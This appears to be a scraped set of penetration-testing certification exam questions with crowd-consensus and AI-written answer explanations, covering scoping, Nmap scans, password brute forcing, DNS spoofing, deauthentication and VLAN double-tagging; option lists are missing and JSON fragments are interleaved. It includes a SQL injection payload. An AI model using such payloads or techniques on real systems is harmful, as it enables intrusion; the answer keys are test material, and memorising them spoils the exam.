\nThe correct answer is C. ROE (Rules of Engagement).
\nReasoning: The Rules of Engagement (ROE) document defines the scope, boundaries, methods, and specific details of a penetration test. This includes the domain names, IP ranges, hosts, and applications that are in scope for the test.
\nWhy other options are incorrect:\n
\nIn summary, ROE precisely defines the elements within the penetration test's scope, making it the most appropriate answer.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA tester who is performing a penetration test on a website receives the following output:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62
Which of the following commands can be used to further attack the website?
\n
The consensus from the internet discussion from Q2 2022 to Q2 2024 agrees with the answer D. 1 UNION SELECT 1, DATABASE(), 3 --. The reason is that the error message \"mysql_fetch_array() expects parameter 1 to be resource, boolean given\" suggests a potential SQL injection vulnerability, and this command is a SQL injection attack used to extract the database name.\nFurthermore:\n
The AI agrees with the suggested answer D.
\nThe error message \"Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62\" strongly indicates a potential SQL Injection vulnerability. This error typically arises when a query passed to `mysql_fetch_array()` fails (returns `FALSE`, a boolean) instead of returning a valid resource. This could happen when user input is improperly sanitized and used directly in an SQL query, leading to syntax errors or unexpected behavior.
\nTherefore, option D, \"1 UNION SELECT 1, DATABASE(), 3 --\", is the most appropriate command to further test this potential SQL injection vulnerability. This command attempts to use a `UNION SELECT` statement to inject malicious SQL code to retrieve the database name. The `--` is used to comment out the rest of the original query, preventing errors.\n
\nHere's why the other options are less likely to be relevant in this context:\n
\nIn summary, while all the options represent potential vulnerabilities, the error message most strongly suggests an SQL Injection vulnerability, making option D the most relevant and effective next step.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has established an on-path position between a target host and local network services but has not been able to establish an on-path position between the target host and the Internet. Regardless, the tester would like to subtly redirect HTTP connections to a spoofed server IP. Which of the following methods would BEST support the objective?
\n
From the internet discussion, which includes the period from Q2 2021 to Q1 2025, the consensus answer to this question is B. Exploit the local DNS server and add/update the zone records with a spoofed A record., which the reason is because this method allows the tester to redirect HTTP connections to a spoofed server IP without requiring access to the target host or implanting malware. Other opinions suggest that proxying HTTP connections might be a solution, but the most agreed-upon comments suggest that this is not correct because the question states that the tester has not been able to establish an on-path position between the target host and the Internet. Additionally, some comments also mentioned that modifying the local DNS server, while effective, requires cleanup after the engagement.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer: B. Exploit the local DNS server and add/update the zone records with a spoofed A record.
\nReasoning:
\nExploiting the local DNS server and modifying the A records to point to a spoofed server is the best method to subtly redirect HTTP connections in the scenario described. Since the penetration tester has an on-path position within the local network but not to the internet, directly manipulating the DNS resolution within that network segment allows for the redirection of HTTP traffic to a spoofed server. This doesn't require direct access to the target host or the establishment of an on-path position to the internet.
\nWhy other options are less suitable:\n
Therefore, exploiting the local DNS server is the most subtle and effective method, given the tester's current network position.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)
\n
\nAgree with Suggested Answer from the internet discussion from Q2 2021 to Q2 2024, the conclusion of the answer to this question is B. Poor input sanitization and C. Null pointer dereferences, which the reason is that these are security-related issues and critical for developers to understand and fix, as they can lead to vulnerabilities like SQL injection, cross-site scripting, and application crashes. The other options, such as using non-optimized sort functions, code style guide non-compliance, deprecated Javadoc tags, and cyclomatic complexity, are not considered security vulnerabilities.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of B and C.
\nReasoning: Application security assessment reports for developers should focus on vulnerabilities that directly impact application security. Poor input sanitization (B) and null pointer dereferences (C) are critical security flaws.
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has found indicators that a privileged user's password might be the same on 30 different Linux systems. Which of the following tools can help the tester identify the number of systems on which the password can be used?
\n
Agree with Suggested Answer From the internet discussion, including from Q2 2021 to Q1 2025, the consensus of the answer to this question is A. Hydra, which the reason is that Hydra is a password cracking tool that supports various protocols, including SSH which is commonly used on Linux systems. It can be used to test a suspected password across multiple systems to identify on how many systems the password is valid.. Although, some comments suggest that Medusa, John the Ripper, or even ChatGPT are correct and Medusa supports multi-threading, potentially allowing for faster testing. Also, John the Ripper is a tool that has a feature called \"password reuse detection\". However, the majority of commenters suggest Hydra is the best option.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is correct. Hydra is the most appropriate tool for this scenario.
\n
\nReasoning:
\nHydra is a password cracking tool designed to test multiple passwords against multiple services. In this case, the penetration tester wants to test one specific password across multiple Linux systems, which can be efficiently done using Hydra, especially with its support for SSH and other relevant protocols.
\n
\nWhy other options are not as suitable:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:
✑ The following request was intercepted going to the network device:
GET /login HTTP/1.1 -
Host: 10.50.100.16 -
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0)
Gecko/20100101 Firefox/31.0 -
Accept-Language: en-US,en;q=0.5 -
Connection: keep-alive -
Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk
✑ Network management interfaces are available on the production network.
✑ An Nmap scan retuned the following:
Port State Service Version
22/tcp open ssh Cisco SSH 1.25 (protocol 2.0
80/tcp open http Cisco IOS http config
|_https-title: Did not follow redirect to https://10.50.100.16
443/tcp open https Cisco IOS https config
Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)
\n
Agree with Suggested Answer. From the internet discussion including comments from Q2 2022 to Q2 2024, the consensus answer to this question is CD. The comments agree that CD is the correct answer because an older SSH version was identified and network management interfaces on the production network present a security risk, so the recommendation is to create an out-of-band network. Other opinions like DE or CE were mentioned, with one reasoning for this choice is the use of Basic Authentication, meaning a better authentication method is needed. However, other commenters noted that the implementation of different authentication methods may not resolve the older SSH version.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The question asks for the BEST recommendations to add to the final report based on the provided findings.
\nBased on the analysis, the AI suggests the answer is DE.
\nReasoning:
\nThe findings indicate several security concerns:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester was able to compromise a server and escalate privileges. Which of the following should the tester perform AFTER concluding the activities on the specified target? (Choose two.)
\n
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is DE, which the reason is based on the ethical guidelines that the penetration tester should follow after concluding the activities on the specified target, including removing any tools or scripts that were installed, and deleting any created credentials. Other options are related to server management roles, which are likely from the client's staff or outsourced.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer.
\nThe recommended answers are D and E: Remove any tools or scripts that were installed and Delete any created credentials.
\nReasoning: After a penetration test, it is crucial to leave the system in a state as close as possible to its original condition, while also ensuring no lingering vulnerabilities or backdoors remain. Removing tools and scripts used during the test prevents potential misuse by others and cleans up the system. Deleting any created credentials ensures that unauthorized access is no longer possible through those accounts. This adheres to ethical hacking principles and minimizes the risk to the client's system.\n
\nReasons for not choosing the other options:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is reviewing the following DNS reconnaissance results for comptia.org from dig:
...
;; ANSWER SECTION
comptia.org. 3569 IN MX comptia.org-mail.protection.outlook.com. comptia.org. 3569 IN A 3.219.13.186. comptia.org. 3569 IN NS ns1.comptia.org. comptia.org. 3569 IN SOA haven. administrator.comptia.org. comptia.org. 3569 IN MX new.mx0.comptia.org. comptia.org. 3569 IN MX new.mx1.comptia.org.
Which of the following potential issues can the penetration tester identify based on this output?
\n
From the internet discussion spanning from Q2 2021 to Q1 2025, the consensus answer to this question is A, which suggests that the presence of \"MX comptia.org-mail.protection.outlook.com\" could be out of scope for the test, and therefore an issue. The reasoning is that the outlook.com domain is a Microsoft email server, not a CompTIA server. Other opinions suggest that other answers like B or D are not the best answers. For example, B's \"duplicate MX record\" is not present in the results. Also, the SOA record mentioned in D is within the comptia.org domain.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is correct.
\nReasoning:
\nThe penetration tester can identify potential issues based on the DNS reconnaissance results. The key issue to identify here is that the MX record \"comptia.org-mail.protection.outlook.com\" points to a Microsoft Outlook email server. This could be out of scope for a penetration test focused on CompTIA's infrastructure, as it involves a third-party service. The other answers are not supported by the provided dig output.
\nExplanation of why other options are incorrect:
\n* **Option B:** There are multiple MX records, but they are not duplicates. \"new.mx0.comptia.org\" and \"new.mx1.comptia.org\" and \"comptia.org-mail.protection.outlook.com\" are distinct records.
\n* **Option C:** The NS record \"ns1.comptia.org\" is indeed within the \"comptia.org\" domain, so this statement is incorrect.
\n* **Option D:** The SOA record has \"administrator.comptia.org\", which is within the comptia.org domain, so this option is incorrect. The host is 'haven', which is also part of the comptia.org domain.
\n
Suggested Answer: A
\nReason for Agreement:
\nThe AI agrees with the suggested answer because the MX record pointing to \"comptia.org-mail.protection.outlook.com\" indicates the use of a third-party email service (Microsoft Outlook), which may fall outside the scope of a penetration test focused on CompTIA's own infrastructure.
\nReasons for Disagreement with Other Options:
\nThe AI disagrees with the other options because:
\n* There is not a duplicate MX record
\n* The NS record is within the comptia.org domain
\n* The SOA record is within the comptia.org domain\n
\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\nCitations:\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA consultant just performed a SYN scan of all the open ports on a remote host and now needs to remotely identify the type of services that are running on the host. Which of the following is an active reconnaissance tool that would be BEST to use to accomplish this task?
\n
Based on the internet discussion, the consensus answer is C. Nmap. The primary reason for this agreement is that Nmap is an active reconnaissance tool specifically designed to identify services running on a host by mapping open ports and attempting to identify the service associated with each. Other options such as A. Tcpdump, B. Snort, D. Netstat, and E. Fuzzer are not designed for this purpose. Tcpdump is a packet sniffer; Snort is an intrusion detection system; Netstat displays network information; and Fuzzer is used for vulnerability testing.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer. The best tool to use for remotely identifying the type of services running on a host after a SYN scan is C. Nmap.
\n
\nReasoning:
\nNmap is a powerful and versatile network scanning tool specifically designed for active reconnaissance. It can identify open ports, determine the services running on those ports, and even attempt to fingerprint the operating system of the target host. This makes it ideally suited for the task described in the question. Nmap sends specially crafted packets to the target and analyzes the responses to gather information. This process allows Nmap to identify the services running on open ports, which is exactly what the consultant needs to do.
\n
\nWhy other options are not the best choice:
\n
\nIn summary, Nmap excels at active service identification, making it the most suitable tool for the consultant's task.\n
\n\nSupporting Citations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDeconfliction is necessary when the penetration test:
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is the deconfliction is necessary when a penetration test proceeds in parallel with a criminal digital forensic investigation to avoid interfering with the investigation or disrupting evidence. The comments suggest that option C, although tempting, is more related to escalation rather than deconfliction.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, D.
\nReasoning: Deconfliction is crucial when a penetration test runs concurrently with a digital forensic investigation. This is because penetration testing activities could potentially alter or destroy digital evidence, thereby compromising the integrity of the forensic investigation. Deconfliction processes ensure that both activities can proceed without interfering with each other.
\nWhy other options are incorrect:\n
\nSuggested Answer: D\n
"}, {"folder_name": "topic_1_question_156", "topic": "1", "question_num": "156", "question": "A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?
\n
From the internet discussion, the consensus answer to this question is C. Patator. The comments agree that Patator is a versatile brute-force tool designed for testing a list of common passwords against an SSH daemon. Other tools like Hashcat, Mimikatz, and John the Ripper are considered less suitable because they are either not designed for live network attacks or are not specifically tailored for brute-forcing network services like SSH.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is C. Patator.
\nReasoning:
\nPatator is the most suitable tool for testing a list of common passwords against the SSH daemon on a network device. Patator is a multi-purpose brute-forcer, and its modules can be customized to target various services, including SSH. It can perform dictionary attacks and brute-force attacks against SSH, making it ideal for the scenario described in the question.
\nReasons for not choosing the other options:\n
In summary, Patator is the best tool for brute-forcing passwords against an SSH daemon, as it's designed for this type of online attack.
"}, {"folder_name": "topic_1_question_157", "topic": "1", "question_num": "157", "question": "PCI DSS requires which of the following as part of the penetration-testing process?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tPCI DSS requires which of the following as part of the penetration-testing process?
\n
\nAgree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B. The network must be segmented, which the reason is that PCI DSS Requirement 11.3.4 requires penetration testing to validate that segmentation controls and methods are operational and effective. Segmentation is crucial to prevent unauthorized access to sensitive areas and reduce the scope of PCI DSS requirements. Other answers are not correct, as the time is not part of the agreement, the certifications held by a penetration tester are not the key factor, and the pentest should assess both internal and external systems.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, B (The network must be segmented).
\nReasoning: PCI DSS Requirement 11.3.4 explicitly requires penetration testing to validate network segmentation. This is a critical security control to limit the scope of a breach and protect sensitive cardholder data. Network segmentation ensures that if one part of the network is compromised, the attacker cannot easily access other sensitive areas. The primary purpose of this requirement is to verify that segmentation controls are effective at isolating the cardholder data environment (CDE) from other networks.
\nWhy other options are incorrect:\n
\nIn summary, the segmentation requirement directly aligns with PCI DSS Requirement 11.3.4, making it the correct answer.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?
\n
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C. Client should patch or remediate findings, which the reason is that after a penetration test, the client must address the vulnerabilities by applying patches to the systems, configuring security controls, and implementing other remediation measures. The tester should not conduct retests, delete scripts, or clear system logs.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, C.
\nReasoning: After a penetration test is completed and the findings are presented to the client, the immediate next step is for the client to address the identified vulnerabilities. This typically involves applying patches, configuring security controls, and implementing other remediation measures to secure their systems. The other options are not the immediate next steps following the penetration test and presentation of findings.\n
\nIn summary, the most logical next step after a penetration test and presentation of findings is for the client to apply patches to the systems to remediate the vulnerabilities.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use?
\n
\n < Agree with Suggested Answer> From the internet discussion, the conclusion of the answer to this question is B. nmap -sn 192.168.0.1-254, which the reason is it uses the -sn flag (ping sweep) to identify active hosts within the specified IP range, effectively scanning for live systems within a Class C network. Options A uses the /16 CIDR notation which will scan a much larger range of IP addresses. Option C has an extra dot in the IP range, causing an error. Option D uses the -sN flag which is used for TCP NULL scans and doesn't scan for active systems.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is B. nmap -sn 192.168.0.1-254.
\nReasoning:
\nThe question asks for a command to quickly identify active systems on a Class C network. The `nmap -sn` option performs a ping scan, which is designed to quickly discover active hosts. Option B specifies a range of IP addresses from 192.168.0.1 to 192.168.0.254, which aligns with the Class C network requirement and provides a suitable range for scanning.
\nWhy other options are incorrect:\n
\nIn summary, option B is the most appropriate command to quickly identify active systems within a Class C network using nmap.\n
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to validate the effectiveness of a DLP product by attempting exfiltration of data using email attachments. Which of the following techniques should the tester select to accomplish this task?
\n
Agree with Suggested Answer. From the internet discussion from Q2 2023 to Q1 2025, the conclusion of the answer to this question is Steganography, which the reason is it allows a penetration tester to hide data within other files (e.g., images) to attempt exfiltration via email, potentially bypassing DLP detection. While other options like encryption and encoding may trigger DLP alerts, Steganography focuses on hiding the data itself, which is the key to bypass DLP detection and achieve exfiltration.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, A (Steganography).
\nReasoning:
\nThe question asks for a technique to validate the effectiveness of a DLP product by attempting data exfiltration via email attachments. Steganography is the art and science of hiding information within other, seemingly innocuous data. In this scenario, a penetration tester can embed sensitive data within an image or other file type and then send it as an email attachment. This technique attempts to bypass DLP systems by making the data appear as normal, non-sensitive content. The goal is to see if the DLP solution can detect the hidden data.
\nWhy other options are not the best choice:\n
Therefore, Steganography is the most suitable technique to test a DLP's ability to detect hidden data exfiltration attempts.
Citation:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester received a 16-bit network block that was scoped for an assessment. During the assessment, the tester realized no hosts were active in the provided block of IPs and reported this to the company. The company then provided an updated block of IPs to the tester. Which of the following would be the most appropriate NEXT step?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. Update the ROE with new signatures, which the reason is that the Rules of Engagement (ROE) define the scope, boundaries, and guidelines for a penetration test. When the scoped network block is updated, it is essential to ensure that the new block of IPs is properly documented in the ROE to maintain legal and ethical boundaries. Some comments also agree that updating ROE will maintain the legal and ethical standing of the engagement. Other opinions suggest scanning the new block after updating the ROE, but the immediate next step is to update the ROE with the new IP block.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer B is agreed upon.
\nReasoning: When a penetration tester receives a new IP block, the most appropriate next step is to update the Rules of Engagement (ROE). The ROE defines the scope and boundaries of the assessment. Updating it ensures that the tester has explicit permission to assess the new IP range and avoids any legal or ethical issues. This step is crucial for maintaining a clear understanding of the permitted activities and preventing unauthorized access.
\nWhy other options are incorrect:\n
\n
\nCitations:\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?
\n
Agree with Suggested Answer From the internet discussion from Q2 2022 to Q2 2024, the conclusion of the answer to this question is A. Add a dependency checker into the tool chain, which the reason is that a dependency checker scans the third-party libraries and modules used in a software project to identify known vulnerabilities. This will help ensure that vulnerable third-party modules are not included in the products. The comments also mention that this approach directly addresses the issue of including vulnerable third-party modules, which is the main concern.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer: A. Add a dependency checker into the tool chain.
\nReasoning: The question highlights that the company is including vulnerable third-party modules in their products, despite having good quality organic code. A dependency checker is a tool that scans the third-party libraries and modules used in a software project to identify known vulnerabilities. Implementing a dependency checker into the tool chain would directly address the problem by identifying and preventing the inclusion of these vulnerable modules during the development process. This is a proactive measure to ensure that the products are not exposed to known vulnerabilities from third-party components.
\nReasons for not choosing other answers:\n
\nTherefore, adding a dependency checker is the most direct and effective recommendation to address the specific issue presented in the question.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester needs to access a building that is guarded by locked gates, a security team, and cameras. Which of the following is a technique the tester can use to gain access to the IT framework without being detected?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C, which the reason is that the question is asking about gaining access to the building. Impersonating a package delivery worker is the most appropriate way to gain physical access. Other opinions suggest D is the answer, but the comments argue that impersonating a delivery worker is more likely to gain physical access to the building. Also, a phishing email will not help to gain access to the building.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer C is agreed.
\nReasoning: The question focuses on gaining access to the *building* to reach the IT framework *without being detected*. Impersonating a package delivery worker (social engineering) is a direct and effective method for physical access. It allows the tester to bypass security measures like gates, security teams, and cameras by exploiting human trust. This method aligns with the scenario's objective of undetected entry.\n
\nWhy other options are not the best:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is assessing a wireless network. Although monitoring the correct channel and SSID, the tester is unable to capture a handshake between the clients and the AP. Which of the following attacks is the MOST effective to allow the penetration tester to capture a handshake?
\n
From the internet discussion, which included comments from Q2 2022 to Q2 2024, the conclusion is that the correct answer is B. Deauthentication. The reasoning is that a deauthentication attack forces clients to disconnect and reconnect to the access point. This reconnection process involves a new authentication, including the handshake, which can be captured by the penetration tester.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer.
\nThe most effective attack to capture a handshake when a penetration tester is unable to do so despite monitoring the correct channel and SSID is B. Deauthentication.
\nReasoning: A deauthentication attack forces clients to disconnect and then reconnect to the access point (AP). This reconnection requires a new authentication process, during which the handshake is transmitted. Capturing this handshake is essential for cracking the WPA/WPA2 password.
\nWhy other options are less effective:\n
Therefore, initiating a deauthentication attack is the most direct and efficient method for compelling clients to re-authenticate and generate the handshake required for password cracking.
"}, {"folder_name": "topic_1_question_165", "topic": "1", "question_num": "165", "question": "A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command:Which of the following represents what the penetration tester is attempting to accomplish?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command:![](\"topic_1_question_165/image_0.png\"/)
Which of the following represents what the penetration tester is attempting to accomplish?
\n
Agree with Suggested Answer. From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is D. Double-tagging attack, which the reason is because the provided code is an example of double-tagging, also known as a Q-in-Q attack, where two VLAN tags are added to a frame. This method exploits how some switches handle VLAN tags to bypass network segmentation, allowing an attacker to access a different VLAN. The code constructs an Ethernet frame with two VLAN tags (VLAN 100 and VLAN 50), adding an IP packet with a destination IP address and an ICMP payload.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is D. Double-tagging attack.
\nThe provided Scapy command constructs a packet with two VLAN tags, which is the defining characteristic of a double-tagging attack. This type of attack attempts to bypass VLAN segmentation by adding an additional VLAN tag to a frame. The attacker sends a frame with two VLAN tags. The first tag is the VLAN of the attacker, and the second tag is the target VLAN that the attacker wants to reach. When the first switch receives the frame, it sees the first VLAN tag and forwards the frame to that VLAN. The second switch sees the second VLAN tag and forwards the frame to the target VLAN. This allows the attacker to bypass the VLAN segmentation and reach the target network.
\n
\nHere's a breakdown of why the other options are less likely:\n
\nThe provided Scapy script clearly shows the construction of a frame with two VLAN tags (802.1Q layers), signifying a double-tagging attempt to circumvent VLAN restrictions.\n
\n\nReasoning Summary: The Python script uses Scapy to create a packet with two VLAN tags. This is indicative of a double-tagging attack, which is used to bypass VLAN segmentation.
\n
\nThe AI agent agrees with the suggested answer\n
"}, {"folder_name": "topic_1_question_166", "topic": "1", "question_num": "166", "question": "A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence.Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence.
Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)
\n
Agree with Suggested Answer. From the internet discussion from Q2 2021 to Q1 2025, the consensus answer to this question is CD. The reason is that DNS lookups and internet search engines provide information about the company's web presence with minimal disruption. Other opinions considered DF, but the reasoning provided suggests DNS and Search engines give a broader understanding of a company's web infrastructure.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI assistant suggests another answer CD.
\nReasoning:
\n Given the requirement of \"minimal disruption to its daily activities\", the most helpful initial information-gathering steps would be those that are passive and don't directly interact with the target's systems.\n
The reasoning supporting CD is that they are the least intrusive methods for initial information gathering about a company's web presence. They rely on publicly available information and passive observation, minimizing any disruption to the target's operations. Options DF are not the best choices in this scenario because while Shodan can provide information, it is based on active scanning (even if performed by Shodan itself), and focusing solely on Shodan and open ports (through Shodan) is less comprehensive than leveraging standard search engines for a broad overview of the company's web presence.
\n\n
\n\nIn summary, CD allows for a broad and passive initial assessment, aligning best with the requirement of minimal disruption.\n
\n\n
\n\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tThe attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host delivery and write the discovery to files without returning results of the attack machine?
\n
Based on the internet discussion from Q2 2022 to Q2 2024, the consensus answer is A: `nmap -sn -n --exclude 10.1.1.15 10.1.1.0/24 -oA target_txt`. The comments agree with this answer because it will exclude the attacker's machine using `--exclude` and perform host discovery using `-sn` (ping scan) while writing the output to files in multiple formats using `-oA`. Although there were other opinions, some argued B `nmap -iR 10 -n -oX out.xml | grep \"Nmap\" | cut -d \"\" -f5 > live-hosts.txt` is a possible answer, others mentioned that other commands would return the results to the attack machine, rendering other options incorrect.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is A: `nmap -sn -n --exclude 10.1.1.15 10.1.1.0/24 -oA target_txt`.
\n
\nReasoning:
\nThis option is the BEST choice because it directly addresses all requirements of the question:\n
Based on the requirements outlined, option A is the most suitable choice.
"}, {"folder_name": "topic_1_question_168", "topic": "1", "question_num": "168", "question": "SIMULATION -Using the output, identify potential attack vectors that should be further investigated.", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tSIMULATION -
Using the output, identify potential attack vectors that should be further investigated.![](\"topic_1_question_168/image_0.png\"/)
![](\"topic_1_question_168/image_1.png\"/)
![](\"topic_1_question_168/image_2.png\"/)
![](\"topic_1_question_168/image_3.png\"/)
![](\"topic_1_question_168/image_4.png\"/)
\n
The consensus from discussions from Q2 2023 to Q2 2024 agrees on the correct answers for the PBQ question. The first part of the PBQ involves steps to remediate certificates, including generating a CSR, submitting it to a CA, installing the re-issued certificate, and removing the old certificate. The second part of the PBQ deals with remediating cookies, focusing on the HTTP, SECURE, and SameSite attributes. The third part involves source code remediation. One of the comments highlights that the correct answer for the nmap command should be nmap 192.168.2.2 -O -SV --top-ports=100 because of the 4 open and 96 closed ports and nmap default scans 1000 ports unless altered. Other comments provide the correct Python script example.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.
\n Based on the provided Nmap output and the question's focus on identifying potential attack vectors for further investigation, the suggested answer identifies relevant vulnerabilities. \n
\nReasoning for choosing the suggested answer:
\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA customer adds a requirement to the scope of a penetration test that states activities can only occur during normal business hours. Which of the following BEST describes why this would be necessary?
\n
From the internet discussion, the consensus is D. The reason is that when a critical application crashes due to a vulnerability scan, someone will be there to restart the server. This opinion received the most agreement from the internet.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer, D, is correct.
\nReasoning: The primary reason to restrict penetration testing to business hours is to ensure that personnel are available to respond to any disruptions or incidents that may arise during the testing process. Penetration tests, by their nature, can sometimes cause unexpected outages or system instability. Having staff on hand allows for immediate troubleshooting and mitigation, minimizing the impact on business operations.
\nWhy other options are incorrect:\n
\nIn summary, while other options could be considerations in specific situations, the availability of personnel to address any issues arising from the penetration test is the most critical reason for limiting testing to business hours.\n
\n\nCitation:
\n While there is no single URL that directly answers this question, the following resources are helpful in understanding penetration testing and incident response:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAn assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?
\n
Agree with Suggested Answer. From the internet discussion from Q2 2023 to Q1 2025, the conclusion of the answer to this question is A. nmap -sA 192.168.0.1/24, which the reason is that the -sA flag performs a TCP ACK scan, which is used for mapping out firewall rule sets, determining whether they are stateful or not, and identifying how a stateful firewall is configured. The ACK scan sends TCP packets with only the ACK bit set. The target is required by RFC 793 to respond with a RST packet. Firewalls that block the probe, on the other hand, usually make no response or send back an ICMP destination unreachable error. Option B, a SYN scan, is a stealthy scan and can be used to determine whether a firewall is in place or not, but it won't map the firewall rule set.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is A. nmap -sA 192.168.0.1/24.
\n
\nReasoning:
\nThe -sA flag in Nmap performs a TCP ACK scan. This type of scan is specifically used for mapping out firewall rule sets and determining if a firewall is stateful. A stateful firewall keeps track of the state of network connections traversing it. The ACK scan sends TCP packets with the ACK bit set. A stateful firewall will handle these packets differently based on its rule set, and the responses (or lack thereof) help in understanding the firewall's configuration.
\n
\nWhy other options are not the best choice:\n
\nThe -sA (TCP ACK scan) is the most suitable option for mapping out a stateful firewall.\n
\n\nTherefore, option A is the most appropriate choice.\n
\n\nCitations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
